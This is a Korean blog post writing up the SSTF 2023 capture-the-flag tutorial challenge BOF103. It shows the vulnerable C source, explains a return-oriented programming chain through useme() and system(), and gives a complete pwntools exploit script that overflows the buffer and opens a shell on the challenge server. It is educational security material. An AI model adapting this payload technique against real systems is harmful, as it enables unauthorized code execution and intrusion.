[pwn] Tutorial - BOF103
1. 문제 설명
ROP is an attack technique which makes BOF vulnerabilities so critical.
Find the binary running at: nc bof103.sstf.site 1337.
2. Writeup
바이너리와 코드가 제공되는 튜토리얼 문제이다.
#include <stdio.h>
#include <stdlib.h>
unsigned long long key;
void useme(unsigned long long a,
unsigned long long b)
{
key = a * b;
}
void bofme() {
char name[16];
puts("What's your name?");
printf("Name > ");
scanf("%s", name);
printf("Bye, %s.\n", name);
}
int main() {
system("echo 'Welcome to BOF 103!'");
bofme();
return 0;
}
1) 문제 분석
bofme() 함수내에 name[16]으로 선언된 배열이 있고, scanf("%s", name); 로 name에 사용자 입력값을 저장하는 코드에서 길이 검증이 존재하지 않아 버퍼 오버플로우 취약점이 존재한다.
BOF102 문제와 비슷하게 system() 함수가 main() 함수에 존재하고, key가 전역 변수로 선언되어 있다.
그런데 key에 값을 입력하기 위해서는 useme() 함수를 사용해야 하지만 이 함수를 사용자가 호출할 수 있는 부분은 존재하지 않는다.
따라서 ROP(Return-Oriented Programming)을 사용하여 적절한 가젯을 삽입하면 쉘을 휙득할 수 있다.
2) 보호기법 확인
3) Exploit
system("/bin/sh")로 쉘을 휙득하기 위해 익스플로잇 시나리오를 세워보자.
① bof 취약점을 이용하여 name 버퍼를 다 채우고 useme 함수 호출을 위한 가젯을 삽입한다.
② useme("/bin/sh", 1) 이렇게 함수를 호출하고 전역변수 key에 "/bin/sh" 값이 입력되도록 한다.
③ system 함수의 인자로 "/bin/sh" 를 넣기 위한 가젯을 삽입한다.
④ system("/bin/sh") 함수를 호출하고 쉘을 휙득한다.
페이로드 형태 : buf[16] + sfp[8] + pop_rdi + "/bin/sh" + pop_rsi + 1 + useme() 주소 + pop_rdi + key 변수 주소 + system() 주소
위 시나리오를 만족하기 위해 필요한 정보는 다음과 같다.
- useme() 함수 호출을 위한 위해 필요한 가젯
- useme() 함수 주소
- key 변수 주소
- system() 함수 주소
from pwn import *
r = remote('bof103.sstf.site', 1337)
system = 0x4004e0
useme = 0x400626
key = 0x601058
pop_rdi = 0x400723
pop_rsi = 0x4006b8
payload = b"A"*(16 + 8)
payload += p64(pop_rdi)
payload += b"/bin/sh\x00"
payload += p64(pop_rsi)
payload += p64(1)
payload += p64(useme)
payload += p64(pop_rdi)
payload += p64(key)
payload += p64(system)
r.recvuntil("Name > ")
r.sendline(payload)
r.interactive()
'🚩 CTF Writeup > SSTF 2023' 카테고리의 다른 글
[pwn] Tutorial - BOF104 (0) | 2024.01.10 |
---|---|
[pwn] Tutorial - BOF102 (0) | 2024.01.10 |
[pwn] Tutorial - BOF101 (0) | 2024.01.10 |
[web] Tutorial - SQLi 103 (0) | 2024.01.10 |
[web] Tutorial - SQLi 102 (0) | 2024.01.10 |
댓글
이 글 공유하기
다른 글
-
[pwn] Tutorial - BOF104
[pwn] Tutorial - BOF104
2024.01.10 -
[pwn] Tutorial - BOF102
[pwn] Tutorial - BOF102
2024.01.10 -
[pwn] Tutorial - BOF101
[pwn] Tutorial - BOF101
2024.01.10 -
[web] Tutorial - SQLi 103
[web] Tutorial - SQLi 103
2024.01.10